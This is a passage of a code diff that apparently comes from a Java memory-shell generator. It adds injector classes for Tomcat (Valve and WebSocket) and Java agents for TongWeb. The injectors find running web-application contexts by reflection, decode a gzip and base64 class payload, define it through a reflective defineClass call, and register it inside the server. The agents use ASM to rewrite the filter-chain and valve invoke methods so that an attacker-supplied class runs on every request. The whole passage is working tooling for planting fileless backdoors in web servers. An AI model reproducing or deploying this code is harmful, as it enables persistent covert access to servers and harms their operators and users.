+                invokeMethod(mapperClazz, "insertMap", new Class[]{mapElementArrayClass, mapElementArrayClass, mapElementClass}, new Object[]{exactWrappers, newWrappers, newWrapper});
+                setFieldValue(o, "exactWrappers", newWrappers);
+            }
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    @SuppressWarnings("all")
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java

@@ -0,0 +1,179 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Date: 2022/11/01
+ * Author: pen4uin
+ * Description: Tomcat Valve 注入器
+ * Tested version：
+ * jdk    v1.8.0_275
+ * tomcat v8.5.83, v9.0.67
+ *
+ * @author ReaJason
+ */
+public class TomcatValveInjector {
+
+    static {
+        new TomcatValveInjector();
+    }
+
+    public TomcatValveInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object valve = getShell(context);
+                inject(context, valve);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (thread.getContextClassLoader() != null
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object valve) throws Exception {
+        Object pipeline = invokeMethod(context, "getPipeline", null, null);
+        if (isInjected(pipeline)) {
+            System.out.println("valve already injected");
+            return;
+        }
+        Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
+        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
+        System.out.println("valve injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object pipeline) throws Exception {
+        Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
+        List<Object> valvesList = Arrays.asList(valves);
+        for (Object valve : valvesList) {
+            if (valve.getClass().getName().contains(getClassName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

@@ -0,0 +1,207 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/9
+ */
+public class TomcatWebSocketInjector {
+
+    static {
+        new TomcatWebSocketInjector();
+    }
+
+    public TomcatWebSocketInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object obj = getShell(context);
+                inject(obj, context);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (thread.getContextClassLoader() != null
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
+                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader webAppClassLoader = getWebAppClassLoader(context);
+        try {
+            return webAppClassLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+
+    @SuppressWarnings("unchecked")
+    private void inject(Object obj, Object context) throws Exception {
+        Object servletContext = invokeMethod(context, "getServletContext", null, null);
+        Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
+        if (container == null) {
+            container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
+        }
+
+        if (container == null) {
+            return;
+        }
+
+        if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
+            System.out.println("websocket at " + getUrlPattern() + " already exists");
+            return;
+        }
+
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        Class<?> serverEndpointConfigClass;
+        Class<?> builderClass;
+        try {
+            serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
+            builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
+        } catch (ClassNotFoundException e) {
+            serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
+            builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
+        }
+        Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
+        constructor.setAccessible(true);
+        Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
+        Object endpointConfig = invokeMethod(o1, "build", null, null);
+
+        invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
+        invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
+        invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
+        System.out.println("websocket at " + getUrlPattern() + " inject successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java

@@ -0,0 +1,227 @@
+package com.reajason.javaweb.memshell.injector.tongweb;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class TongWebContextValveAgentInjector implements ClassFileTransformer {
+    private static final String[] TARGET_CLASSES = new String[]{
+            "com/tongweb/web/thor/core/StandardContextValve",
+            "com/tongweb/catalina/core/StandardContextValve",
+            "com/tongweb/server/core/StandardContextValve"
+    };
+    private static final String TARGET_METHOD_NAME = "invoke";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new TongWebContextValveAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            for (String targetClass : TARGET_CLASSES) {
+                if (targetClass.replace("/", ".").equals(name)) {
+                    inst.retransformClasses(allLoadedClass);
+                    System.out.println("MemShell Agent is working at " + name + ".invoke");
+                }
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        for (String targetClass : TARGET_CLASSES) {
+            if (className.equals(targetClass)) {
+                defineTargetClass(loader);
+                try {
+                    ClassReader cr = new ClassReader(bytes);
+                    ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                        @Override
+                        protected ClassLoader getClassLoader() {
+                            return loader;
+                        }
+                    };
+                    ClassVisitor cv = getClassVisitor(cw);
+                    cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                    return cw.toByteArray();
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java

@@ -0,0 +1,227 @@
+package com.reajason.javaweb.memshell.injector.tongweb;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
+    private static final String[] TARGET_CLASSES = new String[]{
+            "com/tongweb/web/thor/core/ApplicationFilterChain",
+            "com/tongweb/catalina/core/ApplicationFilterChain",
+            "com/tongweb/server/core/ApplicationFilterChain"
+    };
+    private static final String TARGET_METHOD_NAME = "doFilter";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new TongWebFilterChainAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            for (String targetClass : TARGET_CLASSES) {
+                if (targetClass.replace("/", ".").equals(name)) {
+                    inst.retransformClasses(allLoadedClass);
+                    System.out.println("MemShell Agent is working at " + name + ".doFilter");
+                }
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        for (String targetClass : TARGET_CLASSES) {
+            if (className.equals(targetClass)) {
+                defineTargetClass(loader);
+                try {
+                    ClassReader cr = new ClassReader(bytes);
+                    ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                        @Override
+                        protected ClassLoader getClassLoader() {
+                            return loader;
+                        }
+                    };
+                    ClassVisitor cv = getClassVisitor(cw);
+                    cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                    return cw.toByteArray();
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
